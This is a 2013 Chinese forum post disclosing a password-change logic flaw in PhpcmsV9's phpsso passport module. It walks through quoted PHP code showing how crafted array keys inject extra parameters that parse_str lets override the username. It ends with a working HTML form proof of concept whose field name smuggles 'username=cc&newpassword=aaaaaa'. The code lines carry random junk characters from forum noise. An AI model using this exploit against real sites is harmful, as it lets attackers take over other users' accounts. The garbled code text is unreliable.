找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1898|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
3 b4 N& Q/ {% d4 ?1 x: V6 Z( b8 N6 B8 v* L' z7 C" m! v
' z3 p5 @; \5 W& P( g
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);6 F* T" G* Q& R7 C( m
! f; s& t! t8 \' R
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。* x1 o4 y7 N1 O0 u* t
2 H+ z, L3 f9 k$ X
我把它留给了你们。
" @  _) J6 f* Z- x; m9 D: Y1 Z不知道你们发现了它没有。/ n) z' a+ F' N  y, d& x

  c. _$ c' D, Z$ z' G/ n4 _, p* @我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。3 Y; R7 @/ t% f2 q! [
; _9 Y$ q3 ^' ^! k' o; b& ]
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
" g, q; c7 t0 b' N, U! C& `9 |" k& d9 ], C7 F
也就是8 @  G; \& E* n, h

0 I) j0 M' m  X. l, @/ Z4 Iusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。7 Y3 Z- f- H  [, \/ o4 d
8 {8 j# b% ]+ P0 @0 k9 ~
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
3 {, @: D" n" E5 p, u& @; ]- P# @8 w4 c* Y; X" c

: @. \; T3 M! Y, K其实我们有这样的机会,看看代码,如下:2 f. V- W4 t4 s

) N" @$ e) ]8 ~2 m: O
" }, z  \9 p8 Y8 z  c# v: y. spublic function auth_data($data) {% |0 B) E5 E. c
                $s = $sep = '';
* u& y9 y0 ^+ y$ R6 R                foreach($data as $k => $v) {; \% s+ [6 w& |* x5 j. o  v
                        if(is_array($v)) {
! V+ c/ b3 f2 M" Y                                $s2 = $sep2 = '';
( p% l' F% `8 Z/ b8 `* A9 @                                foreach($v as $k2 => $v2) {' Y. p* }$ \4 s! Z
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);+ T) K8 g+ a* |$ k( h* W: ]3 [
                                        $sep2 = '&';. M& b' H, ^' s# |; I) o
                                }
4 \/ g* A9 m: j0 B5 h9 g  F                                $s .= $sep.$s2;
4 P( N. S9 z$ u8 ?1 p& |                        } else {$ Q* a+ D# [0 R2 D5 I
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);  ]4 A0 h% n3 R( ?; ^1 [
                        }$ A( {9 l+ P7 A) N# c
                        $sep = '&';
, ]5 r' u5 x, I5 O. F2 F# N. f' V                }
' W4 W+ \! W( m0 q5 O7 I/ ?
" i! K0 e: {8 I% f. |/ ?/ [* [8 ]                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
  p) V9 P! X! H$ z& }' t+ O9 m                return $auth_s;5 _  H( l2 Z1 A' M& P
        }
( ~% H' _0 }, S
; [/ B" I- O2 ^! x( D- G" X可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
, u/ M& b* W* r6 ?. |4 ?
& N" Y% X. M) ]$ B5 K1 x举个例子
! D5 I' G" i) q5 {3 x0 P5 C9 n: F
$a[aaa=a&bbb] = 'a';: x5 y. L7 o; E4 N
8 ?9 _' P: _, N1 M+ F& |
会变成aaa=a&bbb=a1 o% |6 _  y; j1 j0 u2 u8 M

' f' l  f4 p; [明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。+ b* `6 a/ {3 L  m

5 [, Q4 R5 V7 l& n* t& x: U这个时候,我们可以再去看一个函数。
/ f6 r: Y, p( |  b9 r' d7 H
( v- C+ N6 d. [/ E1 S8 U; V. Y& ]就在这个文件内:5 W1 Q( z+ p& h7 a7 }
& D* r! J2 B8 a* I
2 X, w  p  z, \4 z; N
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {8 H7 T* l9 k0 l' g1 d
                if($email && !$this->_is_email($email)) {" _( j" W7 P* [; {  n
                        return -4;
, @8 v/ M) Y0 c! [! c5 `2 B% v                }
& c1 X1 ]. }! v/ m; S, M  u% ]5 i                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));; i7 \9 b+ F& N$ t
        }
+ A& X* j) C! K- V5 [# ^
+ L5 I! P. x5 `& \  p" u+ N这是向通行证发了这样一个请求。% Y- ]' B0 ?/ s+ r9 d! l

$ u! H7 j: _5 y7 f+ w我们再跟到通信证代码里去看看,就会有所发现。! k7 ?, c2 [% o. Q& s

; |) h: i6 ?( e) I( I8 k
% {# N0 A  H0 c) k0 C; Q# A1 _* Kpublic function edit() {1 z& v) y5 f, B2 |+ o. H
//能省就省,太长了不是吗?- Y1 `6 m* q4 n# n) g& B! e

" U& p" X) n3 Y( L3 c2 Oif($this->username) {* p! }. W: L8 `$ x3 k% Q& q( ^( U
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
6 p# e* P% K( C9 g# }. Q                                $res = $this->db->update($data, array('username'=>$this->username));3 e0 B) I- @1 y) `9 N, G+ L
                        } else {! K/ J5 F4 p: S$ r0 [  c- L) R+ U
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);) j: R* T: J4 N: h( h
                                $res = $this->db->update($data, array('uid'=>$this->uid));/ ~$ D, v5 B+ q: H' w9 e
                        }7 m8 ~, a! Z1 o: G

& Q, l* \9 M+ q1 A9 @4 h好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:0 P  _, r  u3 A; ~' B% q
! q# b/ ]; f% K' B, L9 f7 |
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')) F/ S; v& j2 f) W% ^0 E
# |% w9 m+ J4 j! a; Z% n* L
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。- _/ |7 c. _; x, A  P, H# d& M8 o

( `+ N0 R& f- K2 q* D我当然找到了:0 m4 x1 H3 b3 P
phpcms9/phpcms/modules/member/index.php
- q: b9 r# S9 I1 J( b" E  g! ^- x; ^  T) v. ^/ Q
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);) K2 C, w+ O6 n9 j2 c
# X8 k! C: \7 f$ n
然后就没有然后了。
& e8 c7 S! @$ b2 J" h( q7 h4 Y7 i, h4 I$ }; R' x
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">4 f( ~6 l! X3 |) t2 Z. O
                                <table width="100%" cellspacing="0" class="table_form">
. E. A  G6 B  X" x" o6 p                                        <tr>* M: f7 O$ k* s# s/ N# u
                                                <th width="80">邮箱:</th>        
. {  n% z# W2 Q2 O, d: S                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
0 q3 T( S2 J3 o5 u7 V( w0 u                                        </tr>
, O& n1 S  L; K* e                                        <tr>
: I, R# \5 [, n8 y                                                <th width="80">原密码:</th>        / w) N) T' E- k' e. K9 O+ o
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>* R+ S- M$ d; x1 X* f5 A
                                        </tr>
" h1 M# t4 T$ p5 }                                        <tr>: N0 q9 A5 B6 y
                                                <th>新密码:</th>- e: d3 t2 V: Y3 ]7 W
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>, o1 d1 W% u7 Q) X1 d* \
                                        </tr>+ v' |  W1 N" D4 Y  C0 ?; v5 @
                                        <th></th>* Q$ {" ~6 n* w8 c9 E
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
& D/ @4 N0 s* u/ U/ C% L                                        </tr>
& }* e0 T% e, t) t+ Z1 \                                </table>
2 `. Y3 ]$ Q# U) q: H- P6 N& ^6 `) [2 A+ J) {* k
                               
9 g+ W5 d  Z. [* `* @$ A' c                        </form>
; u7 b* A& k' }! @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表